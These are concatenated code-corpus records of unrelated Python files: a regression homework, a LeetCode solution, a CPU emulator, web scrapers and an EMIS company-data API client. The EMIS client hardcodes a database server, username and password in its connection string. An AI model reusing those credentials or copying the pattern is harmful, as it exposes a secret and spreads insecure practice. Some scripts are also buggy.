'balanceClasses'\r\n'''\r\n","sub_path":"machine_learning/configuration_constants.py","file_name":"configuration_constants.py","file_ext":"py","file_size_in_byte":8730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"529813160","text":"from scipy.io import loadmat\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndata = loadmat(r'D:\\learning\\University\\AI_DrHarati\\HWs\\HW5\\faces.mat')\r\ndata = data['faces'].T\r\ndata = np.reshape(data, (400, 4096))\r\ntrain = data[:300]\r\ntest = data[300:]\r\nX_t = []\r\ny_t = []\r\nX_t = []\r\ny_t = []\r\n\r\nfor t in test:\r\n t = np.reshape(t, (64, 64)).T\r\n tx = t[:][0:32]\r\n ty = t[:][32:64]\r\n X_t.append(np.reshape(tx, (2048)))\r\n y_t.append(np.reshape(ty, (2048)))\r\n\r\nX_t = np.array(X_t)\r\ny_t = np.array(y_t)\t\r\n\r\nfor t in train:\r\n t = np.reshape(t, (64, 64)).T\r\n tx = t[:][0:32]\r\n ty = t[:][32:64]\r\n X_t.append(np.reshape(tx, (2048)))\r\n y_t.append(np.reshape(ty, (2048)))\r\n \r\nX_t = np.array(X_t)\r\ny_t = np.array(y_t)\r\n\r\nest = LinearRegression()\r\nest.fit(X_t, y_t)\r\npredictions = est.predict(X_t)\r\n\r\nW = np.dot(X_t.T, X_t)\r\nW = np.linalg.inv(W)\r\nW = np.dot(W, X_t.T)\r\nW = np.dot(W,y_t)\r\n\r\nhs = np.dot(X_t, W)\r\n\r\nrmse = np.sqrt(mean_squared_error(y_t, hs))\r\nprint('RMSE= ', rmse)\r\n\r\n\r\n","sub_path":"5_2SKL.py","file_name":"5_2SKL.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"72825677","text":"from math import pow, log\n\n\nclass Solution(object):\n\n def powerfulIntegers(self, x, y, bound):\n \"\"\"\n :type x: int\n :type y: int\n :type bound: int\n :rtype: List[int]\n \"\"\"\n s = set([])\n LIMIT1 = 0 if x is 1 else int(log(bound, x))\n for i in range(0, LIMIT1 + 1):\n LIMIT2 = 0 if y is 1 else int(log(bound - pow(x, i), y))\n if bound - pow(x, i) < 0.99:\n break\n for j in range(0, LIMIT2 + 1):\n s.add(int(pow(x, i) + pow(y, j)))\n if y == 1:\n break\n return list(s)\n","sub_path":"Easy/lc_970_powerfulInteger.py","file_name":"lc_970_powerfulInteger.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"459068653","text":"\"\"\"CPU functionality.\"\"\"\n\nimport sys\nimport csv\n\nclass CPU:\n \"\"\"Main CPU class.\"\"\"\n\n def __init__(self):\n \"\"\"Construct a new CPU.\"\"\"\n self.ram = [0] * 256\n self.reg = [0] * 8\n self.pc = 0\n self.sp_address = 7\n self.branchtable = {}\n ADD = 160\n LDI = 130\n MUL = 162\n CALL = 80\n PRN = 71\n POP = 70\n PUSH = 69\n RET = 17\n HLT = 1\n self.branchtable[ADD] = self.op_ADD\n self.branchtable[LDI] = self.op_LDI\n self.branchtable[MUL] = self.op_MUL\n self.branchtable[PRN] = self.op_PRN\n self.branchtable[HLT] = self.op_HLT\n self.branchtable[PUSH] = self.op_PUSH\n self.branchtable[POP] = self.op_POP\n self.branchtable[CALL] = self.op_CALL\n self.branchtable[RET] = self.op_RET\n\n def load(self, file=None):\n \"\"\"Load a program into memory.\"\"\"\n\n address = 0\n\n # For now, we've just hardcoded a program:\n\n program = [\n # From print8.ls8\n 0b10000010, # LDI R0,8\n 0b00000000,\n 0b00001000,\n 0b01000111, # PRN R0\n 0b00000000,\n 0b00000001, # HLT\n ]\n\n if file:\n f = open(file, \"r\")\n stuff = []\n for line in f:\n if len(line) >= 8:\n if line[:1] != '#':\n stuff.append(int(line[:8], 2))\n f.close()\n\n program = stuff\n\n for instruction in program:\n self.ram[address] = instruction\n address += 1\n\n def op_ADD(self, reg_a, reg_b):\n self.reg[reg_a] += self.reg[reg_b]\n self.pc += 3\n def op_LDI(self, reg_a, reg_b):\n self.reg[reg_a] = reg_b\n self.pc += 3\n def op_MUL(self, reg_a, reg_b):\n mult = self.reg[reg_a] * self.reg[reg_b]\n self.reg[reg_a] = mult\n self.pc += 3\n def op_PRN(self, reg_a, reg_b):\n reg_value = self.reg[reg_a]\n print(reg_value)\n self.pc += 2\n def op_HLT(self, reg_a, reg_b):\n sys.exit()\n def op_PUSH(self, reg_a, reg_b):\n value = self.reg[reg_a]\n self.reg[self.sp_address] -= 1\n self.ram[self.reg[self.sp_address]] = value\n self.pc += 2\n def op_POP(self, reg_a, reg_b):\n value = self.ram[self.reg[self.sp_address]]\n self.reg[reg_a] = value\n self.reg[self.sp_address] += 1\n self.pc += 2\n def op_CALL(self, reg_a, reg_b):\n self.reg[self.sp_address] -= 1\n self.ram[self.reg[self.sp_address]] = self.pc + 2\n self.pc = self.reg[reg_a]\n def op_RET(self, reg_a, reg_b):\n self.pc = self.ram[self.reg[self.sp_address]]\n self.reg[self.sp_address] += 1\n\n def alu(self, op, reg_a, reg_b):\n \"\"\"ALU operations.\"\"\"\n\n self.branchtable[op](reg_a, reg_b)\n #elif op == \"SUB\": etc\n #else:\n # raise Exception(\"Unsupported ALU operation\")\n\n # these below seem to have to do with the register values?\n #self.ir = None\n #self.mar = None\n #self.mdr = None\n #self.fl = None\n # I beleive all of the are PC, MAR, MDR, SP, IR, FL and should be 2 more?\n\n # FUTURE IMPLEMENTATION:\n # MAR contains the address that is being read or written to.\n # MDR contains the data that was read or the data to write.\n # Two of the registers hold those above values in a CPU also need SP stack pointer\n def ram_read(self, address):\n return self.ram[address]\n\n def ram_write(self, value, address):\n self.ram[address] = value\n\n def trace(self):\n \"\"\"\n Handy function to print out the CPU state. You might want to call this\n from run() if you need help debugging.\n \"\"\"\n\n print(f\"TRACE: %02X | %02X %02X %02X |\" % (\n self.pc,\n #self.fl,\n #self.ie,\n self.ram_read(self.pc),\n self.ram_read(self.pc + 1),\n self.ram_read(self.pc + 2)\n ), end='')\n\n for i in range(8):\n print(\" %02X\" % self.reg[i], end='')\n\n print()\n\n def run(self):\n \"\"\"Run the CPU.\"\"\"\n # Register address, Memory Address, Value\n\n ir = None # Instruction Register (instruction)\n \n while True:\n #print(bin(self.ram[self.pc]))\n #self.pc += 1\n\n ir = self.ram[self.pc]\n op_code = ir >> 6\n\n if op_code >= 1: # operand 1\n operand_a = self.ram_read(self.pc +1) #increment by 2\n if op_code == 2: # operand 2\n operand_b = self.ram_read(self.pc +2) #increment by an additional 1\n\n #op = \"\"\n #if ir == LDI: op = \"LDI\"\n #elif ir == MUL: op = \"MUL\"\n #elif ir == PRN: op = \"PRN\"\n #elif ir == HLT: op = \"HLT\"\n \n self.alu(ir, operand_a, operand_b)\n\n","sub_path":"ls8/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":4891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"239122330","text":"#! /usr/bin/python\n\nimport urllib\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport md5\n\nn = datetime.now();\nlinks = [];\ncnt = 0; \n\nf = open(\"mement\", \"w\")\n\nfor link in open(\"valids\", \"r\"):\n\thead = \"http://mementoweb.org/timemap/link/\";\n\tresp = urllib.urlopen(head+link);\n\n\thtml = resp.read();\n\thtml = html.split(\"\\n\")\n\n\tcnt = 0;\n\tfor line in html:\n\t\tif \"datetime\" in line:\n\t\t\tcnt = cnt + 1;\n\t\t\t# ind = line.find(\"datetime\")\n\t\t\t# m = line[ind+15:len(line)-5];\n\t\t\t# print m\n\t\t\t# f.write(str((n - datetime.strptime(m, \"%d %b %Y %H:%M:%S\")).days)+\"\\n\") \n\t# print cnt, link\t\n\tf.write(str(cnt)+\", \"+str(link))\t\n\nf.close();","sub_path":"HW2/MT/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"387074546","text":"\"\"\"\nThis script is used to change event's expected lineno in tests.\n\ne.g.\n\nOriginal code in test_block.py:\nline 9 Binding(target=Symbol(\"x\"), value=0, lineno=7)\nline 11 Binding(target=Symbol(\"x\"), value=0, lineno=10)\n\nWe want to reduce all appeared \"lineno\" by 3, starting from line 10. Changed text will\nbe:\nline 9 Binding(target=Symbol(\"x\"), value=0, lineno=7) # Not changed\nline 11 Binding(target=Symbol(\"x\"), value=0, lineno=7)\n\n$ python scripts/change_lineno.py test_block --line_delta 3 --start_from 10\n\nNote that test_block represents the file name, which will be expanded to\ntest/test_block.py\n\"\"\"\n\nimport fire\nimport os\nimport re\n\n# Assuming called from the top-level folder.\ntest_dir = os.path.abspath(\"test\")\n\n\ndef locate_file_and_apply_changes(file: str, line_delta: int, start_from: int = 0):\n \"\"\"Rewrite a test file's content.\n\n Args:\n file: the file name under the test folder, e.g. test_block\n line_delta: how we want to change expected lineno, could be negative or positive\n start_from: the line which modification should start from. Lines before\n start_from are ignored and not changed.\n \"\"\"\n with open(os.path.join(test_dir, f\"{file}.py\"), \"rt\") as f:\n lines = f.readlines()\n\n for i, line in enumerate(lines):\n if i + 1 < start_from:\n continue\n match_obj = re.search(r\"lineno=(\\d+)\", line)\n if not match_obj:\n continue\n new_expected_lineno = int(match_obj.group(1)) + line_delta\n line = line.replace(match_obj.group(0), f\"lineno={new_expected_lineno}\")\n lines[i] = line\n\n with open(os.path.join(test_dir, f\"{file}.py\"), \"wt\") as f:\n f.writelines(lines)\n\n\nif __name__ == \"__main__\":\n fire.Fire(locate_file_and_apply_changes)\n","sub_path":"scripts/change_lineno.py","file_name":"change_lineno.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"643867057","text":"\"\"\"\nScript used as library for importing objects and functions to main scripts\nwhich are used to retrieve and parse data from EMIS API.\n\nData are processed and exported and used for investigating\nanalysis purposes.\n\"\"\"\n\nimport datetime as d\nimport json\nimport pandas as pd\nimport pyodbc\nimport re\n\nfrom math import floor\nfrom statistics import mean\nfrom unidecode import unidecode\nfrom urllib.error import URLError\nfrom urllib.request import Request, urlopen\n\nfrom naics_slownik import naics_slownik\n\n############ GET DATE X YEARS AGO #############\ndef get_date_ago(years):\n data = d.date.today() - d.timedelta(days=years*365)\n if data.month == 2 and data.day == 29:\n data = data.replace(day=28)\n data = data.isoformat()\n return data\n\n############## REQUEST SESSION ID ##############\ndef get_session_id(user_name, password):\n request = Request('https://api.emis.com/company/Auth/login/?username=' +\n user_name +\n '&password=' +\n password,\n headers={'User-Agent': 'Mozilla/5.0'})\n response = urlopen(request)\n data = response.read()\n data_decoded = data.decode('utf-8')\n session_id = json.loads(data_decoded)['data']['sessionId']\n return session_id\n\n######### GET NIP NAME LIST ###########\ndef get_nip_name(input_file, id_class):\n valid_ids_list = []\n invalid_ids_list = []\n id_name_valid = []\n id_name_invalid = []\n \n data = pd.read_excel(input_file, dtype=str, header=None)\n if len(data.columns)==2:\n data.columns=[str(id_class), 'NazwaPodmiotu']\n data_dedup = data.drop_duplicates(subset=str(id_class))\n duplicates = list(set([i for i in data[str(id_class)].tolist() if\n data[str(id_class)].tolist().count(i) > 1]))\n id_list = data_dedup[str(id_class)].tolist()\n name_list = data_dedup['NazwaPodmiotu'].tolist()\n\n \n elif len(data.columns)== 1:\n data.columns=[str(id_class)]\n print(\"Company names not found.\")\n name_list = []\n data_dedup = data.drop_duplicates(subset=str(id_class))\n duplicates = list(set([i for i in data[str(id_class)].tolist() if\n data[str(id_class)].tolist().count(i) > 1]))\n id_list = data_dedup[str(id_class)].tolist()\n for i in id_list:\n name_list.append(None)\n \n if id_class.upper()=='NIP':\n for nip, company_name in zip(id_list, name_list):\n nip_valid_dic, nip_invalid_dic = clean_nip_name(nip, company_name)\n if nip_valid_dic:\n id_name_valid.append(nip_valid_dic)\n valid_ids_list.append(nip)\n else:\n id_name_invalid.append(nip_invalid_dic)\n invalid_ids_list.append(nip)\n elif id_class.upper()=='REGON':\n for regon, company_name in zip(id_list, name_list):\n regon_valid_dic, regon_invalid_dic = clean_regon_name(regon, company_name)\n if regon_valid_dic:\n id_name_valid.append(regon_valid_dic)\n valid_ids_list.append(regon)\n else:\n id_name_invalid.append(regon_invalid_dic)\n invalid_ids_list.append(regon) \n elif id_class.upper()=='KRS':\n for krs, company_name in zip(id_list, name_list):\n krs_valid_dic, krs_invalid_dic = clean_krs_name(krs, company_name)\n if krs_valid_dic:\n id_name_valid.append(krs_valid_dic)\n valid_ids_list.append(krs)\n else:\n id_name_invalid.append(krs_invalid_dic)\n invalid_ids_list.append(krs) \n\n log_df = pd.DataFrame({\"ValidNIP\" : pd.Series(valid_ids_list),\n \"InvalidNIP\" : pd.Series(invalid_ids_list),\n \"DuplicatedNIP\" : pd.Series(duplicates)})\n \n args = {'arg1':len(id_name_valid),\n 'arg2':id_class}\n print(\"{arg1} unique valid company ids detected. Chosen company id \" \\\n \"class: {arg2}.\".format(**args))\n \n if valid_ids_list < invalid_ids_list:\n print(\"Please assure that chosen ID class is correct\")\n \n return id_name_valid, id_name_invalid, log_df\n\n############# GET SQL DATA #####################\ndef get_sql_data(project_name):\n nip_name_invalid = []\n nip_name_valid = []\n valid_nip_list = []\n conn = pyodbc.connect('Driver={SQL Server};'\n 'Server=cz-prgfts008;'\n 'Database=PL_FTS;'\n 'UID=pl_fts_user;'\n 'PWD=Call0fCtulu;')\n cursor = conn.cursor()\n\n for row in cursor.execute('select Nazwa, praw_nip, Typ from {} \\\n where praw_nip is not null \\\n UNION \\\n select Nazwa, fiz_nip, Typ from {} \\\n where praw_nip is null \\\n order by praw_nip asc, typ asc'.format(project_name, project_name)):\n nip, name = row.praw_nip, row.Nazwa\n nip_valid_dic, nip_invalid_dic = clean_nip_name(nip, name)\n if nip_valid_dic:\n nip_name_valid.append(nip_valid_dic)\n valid_nip_list.append(nip)\n else:\n nip_name_invalid.append(nip_invalid_dic)\n return nip_name_valid, nip_name_invalid, valid_nip_list\n\n############ CLEAN_NAME_NIP ###################\ndef clean_nip_name(nip, name):\n nip_invalid_dic = {}\n nip_valid_dic = {}\n total = 0\n weights = [6, 5, 7, 2, 3, 4, 5, 6, 7]\n\n clean_nip = re.sub(r'[A-Z]', \"\", nip)\n nip_factorized = list(clean_nip)\n for i, j in zip(nip_factorized, weights):\n total += int(i)*j\n if re.search(r\"[A-Z]\", nip, re.IGNORECASE) is not None and re.search(\"PL\", nip, re.IGNORECASE) is None:\n nip_invalid_dic[nip] = name\n elif int(nip_factorized[-1]) == total % 11 and len(clean_nip) == 10:\n if name is not None:\n trans = name.maketrans(\"-;\", \" \", \"'\\\"\")\n name = name.translate(trans).strip()\n name = re.sub(r' +', \" \", name)\n for form in legal_forms:\n m = re.search(unidecode(form), unidecode(name), re.IGNORECASE)\n if m:\n name = name[:m.start()] + name[m.end():]\n name = re.sub(r' +', \" \", name).strip()\n nip_valid_dic[clean_nip] = '\"' + name.upper() + '\"' if name is not None else None\n else:\n nip_invalid_dic[nip] = 'n/a' if name == 'nan' else name\n return nip_valid_dic, nip_invalid_dic\n\ndef clean_regon_name(regon, name):\n regon_invalid_dic = {}\n regon_valid_dic = {}\n total = 0\n weights_9 = [8, 9, 2, 3, 4, 5, 6, 7]\n weights_14 = [2, 4, 8, 5, 0, 9, 7, 3, 6, 1, 2, 4, 8]\n clean_regon = re.sub(r'[A-Z]', \"\", regon)\n regon_factorized = list(clean_regon)\n \n if clean_regon==9:\n for i, j in zip(regon_factorized, weights_9):\n total += int(i)*j\n elif clean_regon==14:\n for i, j in zip(regon_factorized, weights_14):\n total += int(i)*j \n if re.search(r\"[A-Z]\", regon, re.IGNORECASE) is not None and re.search(\"PL\", regon, re.IGNORECASE) is None:\n regon_invalid_dic[regon] = name\n elif int(regon_factorized[-1]) == total % 11:\n if name is not None:\n trans = name.maketrans(\"-;\", \" \", \"'\\\"\")\n name = name.translate(trans).strip()\n name = re.sub(r' +', \" \", name)\n for form in legal_forms:\n m = re.search(unidecode(form), unidecode(name), re.IGNORECASE)\n if m:\n name = name[:m.start()] + name[m.end():]\n name = re.sub(r' +', \" \", name).strip()\n regon_valid_dic[regon] = '\"' + name.upper() + '\"' if name is not None else None\n else:\n regon_invalid_dic[regon] = 'n/a' if name == 'nan' else name\n return regon_valid_dic, regon_invalid_dic\n\ndef clean_krs_name(krs,name):\n krs_invalid_dic = {}\n krs_valid_dic = {}\n\n clean_krs = re.sub(r'[A-Z]', \"\", krs)\n if re.search(r\"[A-Z]\", krs, re.IGNORECASE) is not None and re.search(\"PL\", krs, re.IGNORECASE) is None:\n krs_invalid_dic[krs] = name\n elif len(clean_krs) == 10:\n if name is not None:\n trans = name.maketrans(\"-;\", \" \", \"'\\\"\")\n name = name.translate(trans).strip()\n name = re.sub(r' +', \" \", name)\n for form in legal_forms:\n m = re.search(unidecode(form), unidecode(name), re.IGNORECASE)\n if m:\n name = name[:m.start()] + name[m.end():]\n name = re.sub(r' +', \" \", name).strip()\n krs_valid_dic[clean_krs] = '\"' + name.upper() + '\"' if name is not None else None\n else:\n krs_invalid_dic[krs] = 'n/a' if name == 'nan' else name\n return krs_valid_dic, krs_invalid_dic\n############# LEGAL FORMS ##############\nlegal_forms = [\n \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZIALNOŚCIĄ\", \"SPÓŁKA KOMANDYTOWA\", \"Sp\\.z o\\.o\\.\",\n \"P\\.P\\.U\\.H.\", \"PPUH\", \"PRZEDSIĘBIORSTWO HANDLOWO PRODUKCYJNE\", \"PHU\", \"P\\.H\\.U.\",\n \"SPÓŁKA CYWILNA\", \"SPÓŁKA JAWNA\", \"SPÓŁKA KOMANDYTOWA\", \"SPÓŁKA AKCYJNA\",\n \"PRZEDSIĘBIORSTWO HANDLOWO USŁUGOWE\", \"SPÓŁKA KOMANDYTOWO AKCYJNA\",\"SP Z O\\.O\\.\",\n \"Przedsiębiorstwo wielobranżowe\", \"SPÓŁKA KOMANDYTOWO AKCYJNA\",\"SP\\.K\\.\",\n \"SPÓŁKA PARTNERSKA\", \"FIRMA TRANSPORTOWO HANDLOWA\", \"SPÓŁKA KOMANDYTOWO AKCYJNA\",\n \"ZAKŁAD PRODUKCYJNO USŁUGOWY\", \"PRZEDSIĘBIORSTWO WIELOBRANŻOWE\", \"Sp\\. z o\\.o\\.\",\n \"FIRMA HANDLOWO USŁUGOWA\", \"PRZEDSIEBIORSTWO PRODUKCYJNO USLUGOWO HANDLOWE\",\n \"PRZEDSIEBIORSTWO WIELOBRANZOWE\", \"SPOLKA KOMANDYTOWO AKCYJNA\", \" S\\.C\\.\",\n \"SP\\. Z O\\.O\\.\", \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZILNOŚCIĄ\", \" S\\.A\\.\",\n \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZIALNOIŚCIĄ\", \"PPHU\", \"P\\.P\\.P\\.U\\.\",\n \"PRZEDSIĘBIORSTWO PRODUKCYJNO HANDLOWO USŁUGOWE\", \" S\\.K\\.\" \"SPÓŁKA Z O\\.O\",\n \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZIALNO0ŚCIĄ\", \"SPOLKA Z O\\.O\\.\", \" SP\\.J\\.\",\n \"SPÓŁKA Z OGRANICZONĄ OSPOWIEDZIALNOŚCIĄ\", \"FIRMA HANDLOWO USŁUGOWA\",\n \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZIELNOŚCIĄ\", \"SPÓŁKI JAWNEJ\", \"SPÓŁKA Z O\\.O\\.\",\n \"SPÓŁKA KOMANDYTWO AKCYJNA\", \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZIALANOŚCIĄ\",\n \"SPOLKA Z ORGANICZONA ODPOWIEDZIALNOSCIA\", \"SPÓŁKA OGRANICZONĄ ODPOWIEDZIALNOŚCIĄ\",\n \"SPÓŁKA ZOGRANICZONĄ ODPOWIEDZIALNOŚCIĄ\", \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZILANOŚCIĄ\",\n \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZIALNŚCIĄ\", \"SPÓŁKA Z OGRANICZONĄ ODOWIEDZIALNOŚCIĄ\",\n \"SPÓŁKA Z OGRANICZONĄ 0ODPOWIEDZIALNOŚCIĄ\",\"SP\\.ZOO\",\n \"SPÓŁKA HANDLOWO USŁUGOWA\", \"SPÓŁKA Z ODPOWEDZIALNOŚCIĄ\", \"W LIKWIDACJI\",\n \"SPÓŁKA Z OGRANICZONĄ OODPOWIEDZIALNOŚCIĄ\", \"W UPADŁOŚCI LIKWIDACYJNEJ\",\n \"SPÓŁKA Z OGRANICZONĄ ODPOWIEDZALNOŚCIĄ\", \"Z OGRANICZONĄ ODPOWIEDZIALNOŚCIĄ\"]\n \n\n################## REQUEST ISIC ################\ndef request_single_isic(nip, session_id, id_class):\n if id_class == 'NIP':\n id_type = 'PL-FISCAL'\n elif id_class == 'KRS':\n id_type = 'PL-KRS'\n elif id_class == 'REGON':\n id_type = 'PL-REGON'\n \n url = 'https://api.emis.com/company/Search/queryCompany/?' + \\\n 'filter[]=country:PL&filter[]=external_id_class:' + id_type + \\\n '&filter[]=external_id:' + nip + \\\n '&sessionId=' + session_id\n request = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n response = urlopen(request)\n data = response.read()\n data_decoded = data.decode('utf-8')\n return data_decoded\n\n################# GET ISIC LIST ################\ndef get_isic_list(nip_name_valid, session_id, id_class):\n nips_isics = {}\n nips_errors = {}\n for dic in nip_name_valid:\n for nip, name in dic.items():\n try:\n result_decoded = request_single_isic(nip, session_id, id_class)\n json_table = json.loads(result_decoded)['data']['resultList']\n if json_table:\n isic = str(json_table[0]['isic'])\n nips_isics[nip] = isic\n else:\n nips_errors[nip] = 'No data in EMIS'\n except Exception as e:\n error = 'Code: {c}, Message: {m}'.format(c=type(e).__name__, m=str(e))\n nips_errors[nip] = error\n \n print(\"Data in EMIS available for %s companies.\" % len(nips_isics))\n return nips_isics, nips_errors\n\n################# REQUEST DATA ################\ndef request_data(method, isic, session_id, token, date, search, fiscal_year=''):\n if method == 'getFullCompany':\n url = 'https://api.emis.com/company/Companies/getFullCompany/?' + \\\n 'isic=' + isic + '&sessionId=' + session_id\n elif method == 'getStatementByCode':\n url = 'https://api.emis.com/company/Statements/getStatementByCode/?' + \\\n 'isic=' + isic + \\\n '&year=' + fiscal_year + \\\n '&period=Y&consolidated=N¤cy=local&sessionId=' + session_id\n elif method == 'getDocuments_ID':\n url = 'https://api.emis.com/news//Search/query/?countries=PL&languages=pl&' + \\\n 'companies=' + isic + '&limit=300&token=' + token\n elif method == 'getDocuments_Name':\n url = 'https://api.emis.com/news//Search/query/?countries=PL&languages=pl&' + \\\n 'skipDuplicates=0&formats[]=1&formats[]=2&includeBody=1&limit=100&' + \\\n 'startDate=' + date + '&term=\"' + isic + '\"%20' + search + '&token=' + token\n request = Request(url, headers={'User-Agent':'Mozilla/5.0'})\n response = urlopen(request)\n data_decoded = response.read().decode('utf-8')\n return data_decoded\n\n############## GET COMPANY INFO ###############\ndef get_company_info(method, nips_isics, nips_errors, session_id, output_path):\n json_guid = 'EMIS_REGISTER'\n nips_jsons = {}\n for nip, isic in nips_isics.items():\n requests_limit = 0\n try:\n result_decoded = request_data(method, isic, session_id, '', '', '')\n json_table = json.loads(result_decoded)['data']\n with open(output_path +\n nip +\n '_{}.json'.format(json_guid), 'w') as file:\n json.dump(json_table, file)\n\n nips_jsons[nip] = json_table\n\n except (TimeoutError, URLError, ConnectionAbortedError) as exc:\n error = 'Code: {c}, Message: {m}'.format(c=type(exc).__name__, m=str(exc))\n error_dict = {\"isic\" : isic, \"nip\" : nip, \"error\" : error}\n with open(output_path +\n nip +\n '_{}.json'.format(json_guid + '_INVALID'), 'w') as file:\n json.dump(error_dict, file)\n requests_limit += 1\n \n while requests_limit < 3:\n try:\n result_decoded = request_data(method, isic, session_id, '', '', '')\n json_table = json.loads(result_decoded)['data']\n with open(output_path +\n nip +\n '_{}.json'.format(json_guid), 'w') as file:\n json.dump(json_table, file)\n nips_jsons[nip] = json_table\n except Exception:\n requests_limit += 1\n \n except Exception as e:\n error = 'Code: {c}, Message: {m}'.format(c=type(e).__name__, m=str(e))\n nips_errors[nip] = error\n error_dict = {\"isic\": isic, \"nip\": nip, \"error\": error}\n\n with open(output_path +\n nip +\n '_{}.json'.format(json_guid + '_INVALID'), 'w') as file:\n json.dump(error_dict, file)\n print(\"Data successfully acquired for %s companies.\" % len(nips_jsons))\n return nips_jsons, nips_errors\n\n############ FLATTEN NESTED JSONS ##############\ndef flatten_json(y):\n out = {}\n def flatten(x, name=''):\n if type(x) is dict:\n for a in x:\n flatten(x[a], name + a + '_')\n elif type(x) is list:\n i = 0\n for a in x:\n flatten(a, name + str(i) + '_')\n i += 1\n else:\n out[name[:-1]] = x\n flatten(y)\n return out\n\n\n############### PARSE EMPLOYEES ##############\ndef parse_employees(result):\n if result['employeeNumber'] != None:\n result['NumberOfEmployees'] = result['employeeNumber']\n elif 'employeeNumberRange' in result:\n result['NumberOfEmployees'] = None\n else:\n if result['employeeNumberRange_min'] != None and result['employeeNumberRange_max'] != None:\n result['NumberOfEmployees'] = str(floor(mean([int(result['employeeNumberRange_min']), int(result['employeeNumberRange_max'])])))\n elif result['employeeNumberRange_min'] != None and result['employeeNumberRange_max'] == None:\n result['NumberOfEmployees'] = result['employeeNumberRange_min']\n elif result['employeeNumberRange_min'] == None and result['employeeNumberRange_max'] != None:\n result['NumberOfEmployees'] = result['employeeNumberRange_max']\n else:\n result['NumberOfEmployees'] = None\n \n result['FewEmployees'] = 1 if (result['NumberOfEmployees'] is not None and\n int(result['NumberOfEmployees']) <= 5) else 0 \n for k in ['employeeNumber', 'employeeNumberRange', 'employeeNumberRange_min',\n 'employeeNumberRange_max', 'employeeNumberRange__type']:\n result.pop(k, None)\n return result\n\n\n############### PARSE OWNERS ##############\ndef parse_owners(result: dict) -> dict:\n owners_count = 0\n owners_isics = 0\n owners_foreign = 'null'\n owners = []\n for key, value in result.items():\n if key.startswith('ownerList_') and key.endswith('_ownerIsic'):\n owners_count += 1\n if value is not None:\n owners_isics += 1\n elif key.startswith('ownerList_') and key.endswith('_ownerCountry') and value is not None:\n if value is not None and value == 'PL':\n owners_foreign = 0\n elif value is not None and value != 'PL':\n owners_foreign = 1\n\n elif key.startswith('ownerList_') and key.endswith('_ownerNameLocal'):\n owner = value\n key_processed = key[:len(key)-15] + '_ownershipPercentage'\n owner += ' (' + str(round(float(result[key_processed]), 2)) + ')'\n owners.append(owner)\n \n owners_dedup = list(set(owners))\n owners_merged = ', '.join(owners_dedup)\n\n #result['OwnersMerged'] = owners_merged\n result['Shareholders'] = owners_merged\n result['OwnersCount'] = owners_count\n #result['OwnersInEMIS'] = owners_isics\n #result['OwnersForeign'] = owners_foreign\n \n # Drop unnecessary keys\n owners_keys_drop = []\n for col in ['_ownerCountry', '_ownerExternalId', '_ownerExternalIdClass',\n '_ownerIsic', '_ownerNameLocal', '_ownerName', '_ownerType', '_ownershipPercentage',\n '_ownershipType', '__type']:\n for key in result.keys():\n if key.startswith('ownerList_') and key.endswith(col):\n owners_keys_drop.append(key)\n for i in owners_keys_drop:\n result.pop(i, None)\n return result\n\n\n################# PARSE EXECUTIVES ################\ndef parse_executives(result: dict) -> dict:\n # PARSE AFFILIATES\n executives_count = 0\n executives = []\n for key, value in result.items():\n if key.endswith('_executiveNameLocal'):\n executives_count += 1\n #executive = 'Name: ' + value\n #for i, j in {\n # ', Position: ' : '_executiveUserDefinedPosition',\n # ', Code: ' : '_executiveCode',\n # ', GlobalCode: ' : '_globalExecutiveCode'}.items():\n # key_processed = key[:15] + j if len(key) == 34 else key[:16] + j\n # info = i + result[key_processed]\n # executive += info\n executive = value\n key_processed = key[:len(key)-19] + '_executiveUserDefinedPositionLocal'\n executive += ' (' + result[key_processed] + ')'\n executives.append(executive)\n\n executives_dedup = list(set(executives))\n executives_merged = ', '.join(executives_dedup)\n\n result['ExecutivesCount'] = executives_count\n result['KeyExecutives'] = executives_merged if executives_merged.split() else 'n/a'\n #result['ExecutivesMerged'] = executives_merged if executives_merged.split() else 'n/a'\n\n # Drop unnecessary keys\n executives_keys_drop = []\n for col in ['_executiveCode', '_executiveNameLocal',\n '_executiveUserDefinedPosition', '_globalExecutiveCode',\n '_executiveUserDefinedPositionLocal', '_executiveName', '__type']:\n for key in result.keys():\n if key.endswith(col):\n executives_keys_drop.append(key)\n for i in executives_keys_drop:\n result.pop(i, None)\n return result\n\n\n################# PARSE EXTERNAL IDS ################\ndef parse_external_ids(result: dict) -> dict:\n external_ids = {}\n all_ids = []\n other_ids = 0\n for key in result.keys():\n if key.startswith('externalIdList_') and key.endswith('_classCode'):\n key_processed = key[:17] + 'externalId'\n company_id = result[key] + '(' + result[key_processed] + ')'\n all_ids.append(company_id)\n if result[key] in ['PL-KRS', 'PL-REGON']:\n external_ids[result[key][3:]] = result[key_processed]\n elif result[key] == 'PL-FISCAL':\n external_ids['NIP'] = result[key_processed]\n else:\n other_ids += 1\n\n all_ids_dedup = list(set(all_ids))\n result['NationalFiscalIDs'] = ', '.join(all_ids_dedup)\n #external_ids['ExternalIdsOthers'] = other_ids\n #for key, value in external_ids.items():\n # result[key] = value\n\n # Drop unnecessary keys\n external_ids_keys_drop = []\n for col in ['_classCode', '_externalId']:\n for key in result.keys():\n if key.endswith(col):\n 